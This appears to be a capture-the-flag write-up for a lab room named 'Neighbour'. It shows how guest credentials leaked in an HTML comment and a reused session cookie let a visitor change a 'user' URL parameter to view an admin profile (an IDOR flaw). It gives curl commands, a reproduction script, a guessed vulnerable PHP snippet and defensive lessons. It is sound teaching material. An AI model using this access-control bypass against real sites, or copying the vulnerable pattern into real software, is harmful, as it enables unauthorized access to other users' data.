Neighbour
Exploit broken object-level authorization in a PHP login portal by
logging in as guest, preserving the valid session, and
changing a user-controlled profile identifier from
guest to admin.
Authentication is not authorization. This application correctly checks whether a session exists, but fails to check whether the logged-in user is allowed to access the specific profile selected in the URL.
Executive Overview #
This room is a concise demonstration of IDOR, short for
Insecure Direct Object Reference. The login page
intentionally leaks guest:guest in an HTML comment, which
provides a low-privilege foothold. The real vulnerability appears
after login, when the application redirects to
profile.php?user=guest.
That redirect reveals the trust model: the server accepts the session
cookie as proof that the user is logged in, then uses the
client-controlled user query parameter to decide which
profile to display. Replacing user=guest with
user=admin while keeping the guest session cookie results
in the admin profile page rendering successfully, along with the flag.
What This Room Tests #
- Inspecting login page source for deliberate footholds and clues.
- Following the authentication flow closely enough to notice the post-login redirect target.
- Reasoning about cookies, redirects, and session state during web exploitation.
- Separating an authentication check from an authorization check.
- Recognizing when a URL parameter is directly selecting a protected object.
- Exploiting the resulting IDOR cleanly instead of chasing unrelated attack paths.
What Is IDOR? #
IDOR happens when the application lets the client name
the object it wants and the server fails to validate access to that
object. In this room, the object is a user profile, and the direct
reference is the URL parameter:
profile.php?user=guest
The dangerous design is not that the parameter exists by itself. The
danger is that the server appears to trust it as authoritative. Once
the redirect exposes the parameter name, changing it to
user=admin becomes the obvious authorization test.
The exposed guest credentials are only the entry point. The real bug
is that the guest session is valid for authentication while the
user parameter is wrongly trusted for authorization.
Fast Path #
- Open
http://10.146.166.149/. - View source and recover
guest:guest. - Log in as
guest. - Observe the redirect to
profile.php?user=guest. - Change the parameter to
profile.php?user=admin. - Read the flag from the rendered admin page.
Recommended Workflow #
[Visit login page]
|
v
[Inspect HTML source]
|
v
[Recover guest credentials]
|
v
[Authenticate as guest]
|
v
[Observe redirect: profile.php?user=guest]
|
v
[Recognize user-controlled object reference]
|
v
[Test admin profile without session]
|
v
[See redirect to login.php]
|
v
[Reuse guest session cookie]
|
v
[Request profile.php?user=admin]
|
v
[Admin page renders -> flag recovered]
Methodology #
Step 1 - Inspect the Login Surface
The starting point was the root page, which immediately revealed a standard PHP login form and a strong hint to inspect the page source.
curl -s -i "http://10.146.166.149/"
Relevant excerpt:
<p>Don't have an account? Use the guest account! (<code>Ctrl+U</code>)</p>
<!-- use guest:guest credentials until registration is fixed. "admin" user account is off limits!!!!! -->
This confirms that the intended path is not brute force or SQL injection. The room gives a valid guest foothold and strongly signals that the admin account matters.
Step 2 - Log In and Capture the Redirect
The next step was to authenticate with the exposed guest credentials and preserve cookies for follow-up requests.
curl -s -i \
-c "/tmp/neighbour.cookies" \
-b "/tmp/neighbour.cookies" \
-d "username=guest&password=guest" \
-X POST "http://10.146.166.149/index.php"
The important response headers were:
HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=db1f82157f24b3b2b067234f29188824; path=/
Location: profile.php?user=guest
That Location header is the critical artifact in the
challenge. It reveals that the profile identity is driven by a
user-controlled query parameter rather than being derived solely from
the session.
Step 3 - Confirm the Guest Profile and Additional Hints
Following the redirect with the valid session confirms that the guest profile renders normally and exposes another hint in source.
curl -s -i \
-b "/tmp/neighbour.cookies" \
"http://10.146.166.149/profile.php?user=guest"
<!-- admin account could be vulnerable, need to update -->
<h1 class="my-5">Hi, <b>guest</b>. Welcome to our site. Try not to peep your neighbor's profile.</h1>
The comments are helpful, but the stronger evidence is the URL shape itself. The page is already telling us which profile object is being requested.
Step 4 - Test the Authentication Boundary
Before changing the parameter under an authenticated session, it is useful to check whether the admin profile is simply exposed to everyone or whether a session is required.
curl -s -i "http://10.146.166.149/profile.php?user=admin"
Result:
HTTP/1.1 302 Found
Location: login.php
This shows the application does enforce authentication. The flaw is not that the route is public; the flaw is that access control breaks after login when the object reference is changed.
Step 5 - Reuse the Guest Session and Exploit the IDOR
With the authentication boundary understood, the exploit becomes a direct authorization test: preserve the guest session cookie and request the admin profile.
curl -s -i \
-b "/tmp/neighbour.cookies" \
"http://10.146.166.149/profile.php?user=admin"
Successful response excerpt:
<h1 class="my-5">Hi, <b>admin</b>. Welcome to your site. The flag is: flag{66be95c478473d91a5358f2440c7af1f}</h1>
This confirms the application only uses the session as proof that a user is logged in. It does not verify that the logged-in user is authorized to access the profile named by the request parameter.
Evidence Summary #
| Observation | What it means | Why it matters |
|---|---|---|
Source reveals guest:guest | Deliberate low-privilege foothold | Moves the challenge past brute force and into authenticated analysis |
Login redirects to profile.php?user=guest | Profile identity is exposed in a request parameter | Strong signal that an IDOR may exist |
Unauthenticated user=admin redirects to login | Authentication is enforced | The bug is authorization, not missing authentication |
Authenticated guest request for user=admin returns 200 OK | Object-level authorization is broken | Direct confirmation of IDOR |
| Admin page returns the flag | Exploit succeeded | Challenge solved |
Rabbit Holes & Pivots #
/robots.txt Was Not Useful
A quick check of /robots.txt returned
404 Not Found. That is a fine early recon step, but it
did not contribute to the exploit path here.
Direct Admin Access Without a Session Failed
Requesting profile.php?user=admin without a valid
session only redirected to login.php. That ruled out the
weaker explanation that the admin profile was simply public.
The Comments Are Clues, Not the Vulnerability
The source comments intentionally make the room easier, but they are not the root cause. The actual failure is server-side trust in a client-supplied object reference.
Treating the comments as the bug. The comments only point you toward the vulnerable path. The bug is broken access control on the profile resource.
Deep Dives #
Authentication vs Authorization
This room is a clean example of the difference between these two concepts. Authentication answers who are you? Authorization answers what are you allowed to access?
| Question | Room behavior | Takeaway |
|---|---|---|
| Are you logged in? | Yes, if a valid PHPSESSID is present | The application has an authentication gate |
| Can you access this profile? | Improperly determined by ?user=... | The authorization check is missing or broken |
Why the Redirect Matters So Much
The guest credentials are helpful, but the redirect is the real clue:
Location: profile.php?user=guest
Redirects often expose workflow structure, parameter names, and trust assumptions. Once this header appears, the right question is no longer "how do I get in?" but "what happens if I change the referenced object?"
Likely Vulnerable Server Logic
The behavior strongly suggests logic similar to the following:
session_start();
if (!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true) {
header("Location: login.php");
exit;
}
$user = $_GET["user"];
render_profile($user);
That code checks whether the requester is authenticated but never verifies that the requested profile belongs to the authenticated user.
Defensive Lessons #
Never trust a client-controlled identifier to choose which protected object to return without performing an explicit ownership or role check.
- Derive the current user's own profile from the session rather than from a URL parameter.
- If cross-user profile viewing is intended, enforce explicit role or ownership checks server-side.
- Treat query parameters as untrusted input even after login.
- Remove exposed credentials and internal warnings from production-facing HTML comments.
- Log suspicious requests for cross-user resource access attempts.
| Bad Pattern | Better Pattern |
|---|---|
Use ?user=... to pick a protected profile | Use session identity as the default source of truth |
| Check only whether a session exists | Check both authentication and object-level authorization |
| Expose temporary credentials in comments | Remove debug artifacts from client-visible responses |
Clean Reproduction Path #
The following sequence reproduces the successful solve path with the unnecessary noise removed.
TARGET="10.146.166.149"
# 1. Fetch the login page and inspect source
curl -s -i "http://$TARGET/"
# 2. Log in as guest and preserve the session
curl -s -i \
-c "/tmp/neighbour.cookies" \
-b "/tmp/neighbour.cookies" \
-d "username=guest&password=guest" \
-X POST "http://$TARGET/index.php"
# 3. Confirm the guest profile
curl -s -i \
-b "/tmp/neighbour.cookies" \
"http://$TARGET/profile.php?user=guest"
# 4. Verify unauthenticated admin access is blocked
curl -s -i "http://$TARGET/profile.php?user=admin"
# 5. Reuse the guest session and request the admin profile
curl -s -i \
-b "/tmp/neighbour.cookies" \
"http://$TARGET/profile.php?user=admin"